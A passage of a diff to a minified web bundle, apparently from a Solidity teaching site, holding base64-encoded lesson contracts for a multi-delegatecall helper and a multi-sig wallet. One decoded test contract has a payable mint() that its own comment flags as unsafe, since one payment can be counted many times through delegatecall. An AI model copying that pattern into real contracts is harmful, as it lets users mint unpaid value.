            +`,KA=({prev:s,next:a})=>r.jsx(A,{version:XA,title:vA,description:NA,html:FA,prev:s,next:a,codes:HA}),MA="0.8.24",SA="Multi Delegatecall",xA="An example of contract to call multiple functions in a single transaction",JA=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKGJ5dGVzW10gbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkgcmVzdWx0cykKICAgIHsKICAgICAgICByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IGRhdGEubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gYWRkcmVzcyh0aGlzKS5kZWxlZ2F0ZWNhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIGlmICghb2spIHsKICAgICAgICAgICAgICAgIHJldmVydCBEZWxlZ2F0ZWNhbGxGYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzOwogICAgICAgIH0KICAgIH0KfQoKLy8gV2h5IHVzZSBtdWx0aSBkZWxlZ2F0ZWNhbGw/IFdoeSBub3QgbXVsdGkgY2FsbD8KLy8gYWxpY2UgLT4gbXVsdGkgY2FsbCAtLS0gY2FsbCAtLS0+IHRlc3QgKG1zZy5zZW5kZXIgPSBtdWx0aSBjYWxsKQovLyBhbGljZSAtPiB0ZXN0IC0tLSBkZWxlZ2F0ZWNhbGwgLS0tPiB0ZXN0IChtc2cuc2VuZGVyID0gYWxpY2UpCmNvbnRyYWN0IFRlc3RNdWx0aURlbGVnYXRlY2FsbCBpcyBNdWx0aURlbGVnYXRlY2FsbCB7CiAgICBldmVudCBMb2coYWRkcmVzcyBjYWxsZXIsIHN0cmluZyBmdW5jLCB1aW50MjU2IGkpOwoKICAgIGZ1bmN0aW9uIGZ1bmMxKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCB7CiAgICAgICAgLy8gbXNnLnNlbmRlciA9IGFsaWNlCiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgImZ1bmMxIiwgeCArIHkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZ1bmMyKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIG1zZy5zZW5kZXIgPSBhbGljZQogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJmdW5jMiIsIDIpOwogICAgICAgIHJldHVybiAxMTE7CiAgICB9CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgLy8gV0FSTklORzogdW5zYWZlIGNvZGUgd2hlbiB1c2VkIGluIGNvbWJpbmF0aW9uIHdpdGggbXVsdGktZGVsZWdhdGVjYWxsCiAgICAvLyB1c2VyIGNhbiBtaW50IG11bHRpcGxlIHRpbWVzIGZvciB0aGUgcHJpY2Ugb2YgbXNnLnZhbHVlCiAgICBmdW5jdGlvbiBtaW50KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEZ1bmMxRGF0YSh1aW50MjU2IHgsIHVpbnQyNTYgeSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],zA=`

            An example of calling multiple functions with a single transaction, using delegatecall.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2225,7 +2225,7 @@ How to swap tokens
         return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector);
     }
 }
-
            `,Du=({prev:s,next:a})=>r.jsx(u,{version:Mu,title:Su,description:xu,html:zu,prev:s,next:a,codes:Ju}),Eu="0.8.24",Qu="Multi-Sig Wallet",Tu="An example of multi-sig wallet in Solidity",Uu=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQsIHVpbnQyNTYgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludDI1NiBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IFJldm9rZUNvbmZpcm1hdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IEV4ZWN1dGVUcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKCiAgICBhZGRyZXNzW10gcHVibGljIG93bmVyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNPd25lcjsKICAgIHVpbnQyNTYgcHVibGljIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZDsKCiAgICBzdHJ1Y3QgVHJhbnNhY3Rpb24gewogICAgICAgIGFkZHJlc3MgdG87CiAgICAgICAgdWludDI1NiB2YWx1ZTsKICAgICAgICBieXRlcyBkYXRhOwogICAgICAgIGJvb2wgZXhlY3V0ZWQ7CiAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zOwogICAgfQoKICAgIC8vIG1hcHBpbmcgZnJvbSB0eCBpbmRleCA9PiBvd25lciA9PiBib29sCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNDb25maXJtZWQ7CgogICAgVHJhbnNhY3Rpb25bXSBwdWJsaWMgdHJhbnNhY3Rpb25zOwoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKGlzT3duZXJbbXNnLnNlbmRlcl0sICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQyNTYgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludDI1NiBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMAogICAgICAgICAgICAgICAgJiYgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oYWRkcmVzcyBfdG8sIHVpbnQyNTYgX3ZhbHVlLCBieXRlcyBtZW1vcnkgX2RhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgdWludDI1NiB0eEluZGV4ID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKCiAgICAgICAgdHJhbnNhY3Rpb25zLnB1c2goCiAgICAgICAgICAgIFRyYW5zYWN0aW9uKHsKICAgICAgICAgICAgICAgIHRvOiBfdG8sCiAgICAgICAgICAgICAgICB2YWx1ZTogX3ZhbHVlLAogICAgICAgICAgICAgICAgZGF0YTogX2RhdGEsCiAgICAgICAgICAgICAgICBleGVjdXRlZDogZmFsc2UsCiAgICAgICAgICAgICAgICBudW1Db25maXJtYXRpb25zOiAwCiAgICAgICAgICAgIH0pCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBTdWJtaXRUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCB0eEluZGV4LCBfdG8sIF92YWx1ZSwgX2RhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgICAgIG5vdENvbmZpcm1lZChfdHhJbmRleCkKICAgIHsKICAgICAgICBUcmFuc2FjdGlvbiBzdG9yYWdlIHRyYW5zYWN0aW9uID0gdHJhbnNhY3Rpb25zW190eEluZGV4XTsKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zICs9IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBDb25maXJtVHJhbnNhY3Rpb24obXNnLnNlbmRlciwgX3R4SW5kZXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVUcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0KICAgICAgICAgICAgdHJhbnNhY3Rpb24udG8uY2FsbHt2YWx1ZTogdHJhbnNhY3Rpb24udmFsdWV9KHRyYW5zYWN0aW9uLmRhdGEpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgInR4IGZhaWxlZCIpOwoKICAgICAgICBlbWl0IEV4ZWN1dGVUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV2b2tlQ29uZmlybWF0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdHhFeGlzdHMoX3R4SW5kZXgpCiAgICAgICAgbm90RXhlY3V0ZWQoX3R4SW5kZXgpCiAgICB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CgogICAgICAgIHJlcXVpcmUoaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggbm90IGNvbmZpcm1lZCIpOwoKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zIC09IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gZmFsc2U7CgogICAgICAgIGVtaXQgUmV2b2tlQ29uZmlybWF0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRPd25lcnMoKSBwdWJsaWMgdmlldyByZXR1cm5zIChhZGRyZXNzW10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG93bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbkNvdW50KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFRyYW5zYWN0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50MjU2IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50MjU2IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],_u=`

            Let's create an multi-sig wallet. Here are the specifications.

            +`,DA=({prev:s,next:a})=>r.jsx(A,{version:MA,title:SA,description:xA,html:zA,prev:s,next:a,codes:JA}),EA="0.8.24",QA="Multi-Sig Wallet",TA="An example of multi-sig wallet in Solidity",UA=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQsIHVpbnQyNTYgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludDI1NiBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IFJldm9rZUNvbmZpcm1hdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IEV4ZWN1dGVUcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKCiAgICBhZGRyZXNzW10gcHVibGljIG93bmVyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNPd25lcjsKICAgIHVpbnQyNTYgcHVibGljIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZDsKCiAgICBzdHJ1Y3QgVHJhbnNhY3Rpb24gewogICAgICAgIGFkZHJlc3MgdG87CiAgICAgICAgdWludDI1NiB2YWx1ZTsKICAgICAgICBieXRlcyBkYXRhOwogICAgICAgIGJvb2wgZXhlY3V0ZWQ7CiAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zOwogICAgfQoKICAgIC8vIG1hcHBpbmcgZnJvbSB0eCBpbmRleCA9PiBvd25lciA9PiBib29sCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNDb25maXJtZWQ7CgogICAgVHJhbnNhY3Rpb25bXSBwdWJsaWMgdHJhbnNhY3Rpb25zOwoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKGlzT3duZXJbbXNnLnNlbmRlcl0sICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQyNTYgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludDI1NiBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMAogICAgICAgICAgICAgICAgJiYgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oYWRkcmVzcyBfdG8sIHVpbnQyNTYgX3ZhbHVlLCBieXRlcyBtZW1vcnkgX2RhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgdWludDI1NiB0eEluZGV4ID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKCiAgICAgICAgdHJhbnNhY3Rpb25zLnB1c2goCiAgICAgICAgICAgIFRyYW5zYWN0aW9uKHsKICAgICAgICAgICAgICAgIHRvOiBfdG8sCiAgICAgICAgICAgICAgICB2YWx1ZTogX3ZhbHVlLAogICAgICAgICAgICAgICAgZGF0YTogX2RhdGEsCiAgICAgICAgICAgICAgICBleGVjdXRlZDogZmFsc2UsCiAgICAgICAgICAgICAgICBudW1Db25maXJtYXRpb25zOiAwCiAgICAgICAgICAgIH0pCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBTdWJtaXRUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCB0eEluZGV4LCBfdG8sIF92YWx1ZSwgX2RhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgICAgIG5vdENvbmZpcm1lZChfdHhJbmRleCkKICAgIHsKICAgICAgICBUcmFuc2FjdGlvbiBzdG9yYWdlIHRyYW5zYWN0aW9uID0gdHJhbnNhY3Rpb25zW190eEluZGV4XTsKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zICs9IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBDb25maXJtVHJhbnNhY3Rpb24obXNnLnNlbmRlciwgX3R4SW5kZXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVUcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0KICAgICAgICAgICAgdHJhbnNhY3Rpb24udG8uY2FsbHt2YWx1ZTogdHJhbnNhY3Rpb24udmFsdWV9KHRyYW5zYWN0aW9uLmRhdGEpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgInR4IGZhaWxlZCIpOwoKICAgICAgICBlbWl0IEV4ZWN1dGVUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV2b2tlQ29uZmlybWF0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdHhFeGlzdHMoX3R4SW5kZXgpCiAgICAgICAgbm90RXhlY3V0ZWQoX3R4SW5kZXgpCiAgICB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CgogICAgICAgIHJlcXVpcmUoaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggbm90IGNvbmZpcm1lZCIpOwoKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zIC09IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gZmFsc2U7CgogICAgICAgIGVtaXQgUmV2b2tlQ29uZmlybWF0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRPd25lcnMoKSBwdWJsaWMgdmlldyByZXR1cm5zIChhZGRyZXNzW10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG93bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbkNvdW50KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFRyYW5zYWN0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB